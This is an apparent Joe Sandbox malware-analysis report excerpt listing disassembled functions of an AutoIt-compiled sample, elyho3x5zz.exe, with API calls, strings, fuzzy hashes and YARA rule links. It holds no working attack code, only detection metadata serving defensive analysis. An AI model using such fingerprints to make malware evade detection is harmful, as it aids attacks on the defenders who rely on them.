Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClientCursor$LoadLongProcRectScreenWindow
String ID:
API String ID: 1626762757-0
Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction ID: 41087acc24f0ec4ae921aa4cc359e77646be9604761ad6ae09536e8539bbb3c5
Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction Fuzzy Hash: 19213239A0864296FA18EB05F492169B364FBC4F80F940171EB5D87B59CF3CE941E710

Function 00007FF73A24CF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF73A24CFA7

Part of subcall function 00007FF73A201F44: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A201F68

MessageBoxW.USER32 ref: 00007FF73A24CFEA
WaitForSingleObject.KERNEL32 ref: 00007FF73A24D004
CloseHandle.KERNEL32 ref: 00007FF73A24D00D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction ID: e6323be3cb7a57a6ea48a6010c1ea1bf6568a7936a1343a39c89b3dfd6db242c
Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction Fuzzy Hash: 3F21D136A0C7819AF720EB26A84226AB791BBC4BD4F844275ED9D43B69CF3CD405A750

Function 00007FF73A202FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF73A202FE5
_ctrlfp.LIBCMT ref: 00007FF73A203039
_ctrlfp.LIBCMT ref: 00007FF73A20304D
_ctrlfp.LIBCMT ref: 00007FF73A203071

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction ID: 61b6b85bcccfe1da18d0e81afbd747c80958565bd5eff6b3d9faff86eacc8e33
Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction Fuzzy Hash: 9C110B2AD0C54192F210EB38904307BD372FFDA780FA44231FB8946A95DF2DD440BB01

Function 00007FF73A27FA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF73A27FAA8
ScreenToClient.USER32 ref: 00007FF73A27FAC1
ScreenToClient.USER32 ref: 00007FF73A27FAE6
InvalidateRect.USER32 ref: 00007FF73A27FB02

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: ce3059fb1ef08af58ff0a1a1435f1ff3bd3426f4ffe67555f1f39a1a28b14b58
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: 172108BAA04741EFEB00DF74D84419C77B0F788B48B404866EE5893B18DB78D654DB50

Function 00007FF73A244B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF73A244B47
LoadTypeLibEx.OLEAUT32 ref: 00007FF73A244B62
RegisterTypeLib.OLEAUT32 ref: 00007FF73A244B77
RegisterTypeLibForUser.OLEAUT32 ref: 00007FF73A244B95

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction ID: 718647d7a8fc1f825f74e6a1b618e72e26f0263acef25669c1cd4de8f545fe60
Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction Fuzzy Hash: F1118266B0855293F7209F24E085369A3A1FBC8B48F944076D64D8B644CF7CD544FB20

Function 00007FF73A20B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF73A1F8DD0,?,?,0x%p,00007FF73A1FD8ED), ref: 00007FF73A20B782
SetLastError.KERNEL32(?,?,?,00007FF73A1F8DD0,?,?,0x%p,00007FF73A1FD8ED), ref: 00007FF73A20B7EA
SetLastError.KERNEL32(?,?,?,00007FF73A1F8DD0,?,?,0x%p,00007FF73A1FD8ED), ref: 00007FF73A20B800
abort.LIBCMT ref: 00007FF73A20B806

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction ID: 5cb364f8912e7f5bf62300765a11978563c1d1053c91217495de34bbcb4b123e
Opcode Fuzzy Hash: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
Instruction Fuzzy Hash: FC018C2DB0934362FA68F7719517538E6519FC8798FD405B8F91E067E6DD2CE8007222

Function 00007FF73A249260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF73A249283
Sleep.KERNEL32 ref: 00007FF73A249297
QueryPerformanceCounter.KERNEL32 ref: 00007FF73A2492A2
Sleep.KERNEL32 ref: 00007FF73A2492CD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: e8d24ec66b7f410cefd421ffced1062c9ab68760d815941545913cc859eeaf21
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: 4A01F524A0CB8666FA16AB36944217BF364BFD8741F840376F94F61560DF2CE485F610

Function 00007FF73A28072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2370: ExtCreatePen.GDI32 ref: 00007FF73A1D23FF
Part of subcall function 00007FF73A1D2370: SelectObject.GDI32 ref: 00007FF73A1D2412
Part of subcall function 00007FF73A1D2370: BeginPath.GDI32 ref: 00007FF73A1D242B
Part of subcall function 00007FF73A1D2370: SelectObject.GDI32 ref: 00007FF73A1D2452

MoveToEx.GDI32 ref: 00007FF73A280771
LineTo.GDI32 ref: 00007FF73A280783
EndPath.GDI32 ref: 00007FF73A280795
StrokePath.GDI32 ref: 00007FF73A2807A5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction ID: aa7fb39a2724ebba8c6d69064a8ce4080e310cf9861a301112c4326c7489fca2
Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction Fuzzy Hash: 0401B539A1879156F7005B16B80A729FB64BBC5F94F980174EF5A03BA1CF7DE841AB10

Function 00007FF73A23D4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF73A23D4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF73A23CC94), ref: 00007FF73A23D509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF73A23CC94), ref: 00007FF73A23D513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF73A23CC94), ref: 00007FF73A23D524

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: 303a34884d1c9985e3e2b161f6f717bdf7d983838995ef5089ba3af0789a399a
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: 51F0E529A19A0293FB406F21EC0636863E4BF98F84FC80074D80E82250EF3CD989B311

Function 00007FF73A23326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF73A23326E
GetDC.USER32 ref: 00007FF73A23327A
GetDeviceCaps.GDI32 ref: 00007FF73A2332A4
ReleaseDC.USER32 ref: 00007FF73A2332C5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: 390830506d7b74e223d5b1f63801c4902224d71ed8948f3133fa48abc8993838
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: EEE04868F097029BF600BB62680D5389368AF85FD1F8044B0DD0F53B55DE3D50057710

Function 00007FF73A233287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF73A233287
GetDC.USER32 ref: 00007FF73A233293
GetDeviceCaps.GDI32 ref: 00007FF73A2332A4
ReleaseDC.USER32 ref: 00007FF73A2332C5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: 8c963574d803e3e01e673ec1fec4156b137a50f612a3055051520baaaa34df7a
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: 65E04F68B097029BFA00EB62A80D138A368AF89FD1F8040B0DD0F53B51DE3DA005B710

Function 00007FF73A20CC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20CCDC

Strings

gfffffff, xrefs: 00007FF73A20CF6A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction ID: 72b15e6bc49205355fdab7c5c29d9b675fdae4259b05aee5741bd5b4cc881e54
Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction Fuzzy Hash: 659189A6B0938696FB25EF25914937CAB95EBA17C0F448172CB8D07391DE3CE111F312

Function 00007FF73A241D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF73A241F50

Strings

Container, xrefs: 00007FF73A241E83
AutoIt3GUI, xrefs: 00007FF73A241E7C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction ID: 336955781e82296fd3ce8500b5c4ee71b1ecae5fa9507b6421f601ca94889053
Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction Fuzzy Hash: FD91273A604B4292EB14EF2AE4412ADB3B4FB88B94F918176DF8D43764EF39D445E310

Function 00007FF73A20D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20D0EB

Strings

e+000, xrefs: 00007FF73A20D193
gfff, xrefs: 00007FF73A20D216

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction ID: 1617efaf3b8c9dcc84843e2ee2d3aa038a188560063e50b894e392cc8158c168
Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction Fuzzy Hash: 50515766B193C25AF720DB349C42369EA91EBD0B90F8883B1C79C87BC6CE2CD040E711

Function 00007FF73A20A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF73A1F529A), ref: 00007FF73A20A0E2

Strings

C:\Users\user\Desktop\elyho3x5zz.exe, xrefs: 00007FF73A20A0D0

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\elyho3x5zz.exe
API String ID: 3307058713-219561336
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: 02aaab23e109005556109a877140f84ace6f7b40734394f334ab4c52e13a0985
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: 5A41C23AA08B42AAF714EF2598420B9E3A5EFC47C4BD54071E90E47B45DE3DE485F321

Function 00007FF73A279E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

DestroyWindow.USER32 ref: 00007FF73A279F43

Strings

static, xrefs: 00007FF73A279E54

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: 2ad7439e70f86d839d2baa58324f7162490876d6ea9d1c3f802ca101e85ceb85
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: C4416C365087C296E670AF21E4417AEF7A0FB84790F904235EBE903A99DB3DD481EB10

Function 00007FF73A265E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A2661CC: WideCharToMultiByte.KERNEL32 ref: 00007FF73A26620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF73A2637FB), ref: 00007FF73A265E4D
htons.WSOCK32(?,?,?,?,?,?,?,00007FF73A2637FB), ref: 00007FF73A265EDB

Strings

255.255.255.255, xrefs: 00007FF73A265E6A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 6498537c2c3a5883a10926aadb8ba00fe171405f246142785e58ed521f6960e3
Instruction ID: b38f6629daa972f3342dd3a473e6ff2cd0acfcc8d2877d61f9c9ab21c8c623f0
Opcode Fuzzy Hash: 6498537c2c3a5883a10926aadb8ba00fe171405f246142785e58ed521f6960e3
Instruction Fuzzy Hash: 9331033AA08642A5FB10EB22E41227CB360FF94B98F858571EE5E433A1DE7CD445F320

Function 00007FF73A2603C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73A26045A

Strings

AUTOITCALLVARIABLE%d, xrefs: 00007FF73A26044A
, $, xrefs: 00007FF73A260495

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
